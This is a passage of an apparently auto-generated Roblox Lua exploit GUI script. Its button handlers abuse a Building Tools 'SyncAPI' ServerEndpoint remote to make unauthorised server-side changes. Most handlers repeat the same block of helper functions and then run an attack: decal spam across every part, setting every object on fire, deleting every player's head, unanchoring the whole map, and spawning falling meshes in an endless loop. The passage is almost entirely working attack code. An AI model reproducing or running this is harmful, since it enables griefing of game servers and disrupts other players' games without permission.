}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"8006679977")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(50,50,50))
SetLocked(v,true)
end
end
end
Sky(game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text)
end)
end
coroutine.wrap(VBWFAA_fake_script)()
local function RXFTK_fake_script() -- button_48.LocalScript
local script = Instance.new('LocalScript', button_48)
local button = script.Parent
button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam(game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text)
end)
end
coroutine.wrap(RXFTK_fake_script)()
local function VANYF_fake_script() -- button_49.LocalScript
local script = Instance.new('LocalScript', button_49)
local button = script.Parent
button.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
_(args)
end
function FireParts()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
AddFire(v)
end)
end
end
FireParts()
end)
end
coroutine.wrap(VANYF_fake_script)()
local function HZJA_fake_script() -- button_50.LocalScript
local script = Instance.new('LocalScript', button_50)
local button = script.Parent
button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = workspace.Part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
_(args)
end
function Fire(player)
for i,v in player.Character:GetDescendants() do
if v:IsA("BasePart") then
AddFire(v)
end
end
DestroyPart(player.Character.Head)
end
for i,v in game.Players:GetPlayers() do
spawn(function()
pcall(function()
Fire(v)
end)
end)
end
end)
end
coroutine.wrap(HZJA_fake_script)()
local function EGDK_fake_script() -- button_51.LocalScript
local script = Instance.new('LocalScript', button_51)
local button = script.Parent
button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = workspace
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = workspace.Part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
hrpcf = player.Character.HumanoidRootPart.CFrame
while wait(0.5) do
x = hrpcf.x
z = hrpcf.z
randint = math.random(-600,600)
randint2 = math.random(-600,600)
xloc = randint + x
zloc = randint2 + z
cf = player.Character.HumanoidRootPart.CFrame.y + 400
spawn(function()
CreatePart(CFrame.new(math.floor(xloc), math.random(cf,cf+400), math.floor(zloc)))
for i,v in game.Workspace:GetDescendants() do
if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
SetName(v,"b_1337")
SetAnchor(false,v)
AddMesh(v)
Resize(v, Vector3.new(100,100,100),v.CFrame)
MeshResize(v,Vector3.new(3,3,3))
SetMesh(v,"614605299")
SetTexture(v, "614605300")
SetCollision(v,false)
else
end
end
end)
end
end)
end
coroutine.wrap(EGDK_fake_script)()
local function QDRG_fake_script() -- button_52.LocalScript
local script = Instance.new('LocalScript', button_52)
local button = script.Parent
button.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function KillAll()
for i,v in game.Players:GetPlayers() do
spawn(function()
SetLocked(v.Character.Head,false)
DestroyPart(v.Character.Head)
end)
end
end
KillAll()
end)
end
coroutine.wrap(QDRG_fake_script)()
local function LQAKNWI_fake_script() -- button_53.LocalScript
local script = Instance.new('LocalScript', button_53)
local button = script.Parent
button.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent,types)
local args = {
[1] = "CreatePart",
[2] = types,
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Material(part,mate)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Material"] = mate
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
hrpx = math.floor(char.HumanoidRootPart.CFrame.x)
hrpz = math.floor(char.HumanoidRootPart.CFrame.z)
hrpy = math.floor(char.HumanoidRootPart.CFrame.y)
function SpawnBasePlate()
CreatePart(CFrame.new(hrpx,hrpy-20,hrpz),workspace,"Spawn")
for i,v in game.Workspace:GetChildren() do
if v:IsA("BasePart") and v.CFrame.y == hrpy - 20 and v.CFrame.x == hrpx then
spawn(function()
Resize(v,Vector3.new(1000,2,1000),CFrame.new(hrpx,hrpy-20,hrpz))
Material(v,Enum.Material.Grass)
Color(v,Color3.fromRGB(25,100,25))
while wait(1) do
pcall(function()SetLocked(v,true)end)
end
end)
end
end
end
SpawnBasePlate()
end)
end
coroutine.wrap(LQAKNWI_fake_script)()
local function MPCIN_fake_script() -- button_54.LocalScript
local script = Instance.new('LocalScript', button_54)
local button = script.Parent
button.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function BigHead(player)
local chara = player.Character
spawn(function()
SetLocked(chara.Head,false)
MeshResize(chara.Head,Vector3.new(10,10,10))
end)
end
for i,players in game.Players:GetPlayers() do
BigHead(players)
end
end)
end
coroutine.wrap(MPCIN_fake_script)()
local function HQBSF_fake_script() -- button_55.LocalScript
local script = Instance.new('LocalScript', button_55)
local button = script.Parent
button.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Unanchor()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
SetAnchor(false,v)
end)
end
end
Unanchor()
end)
end
coroutine.wrap(HQBSF_fake_script)()
local function THNGQF_fake_script() -- button_56.LocalScript
local script = Instance.new('LocalScript', button_56)
local button = script.Parent
button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
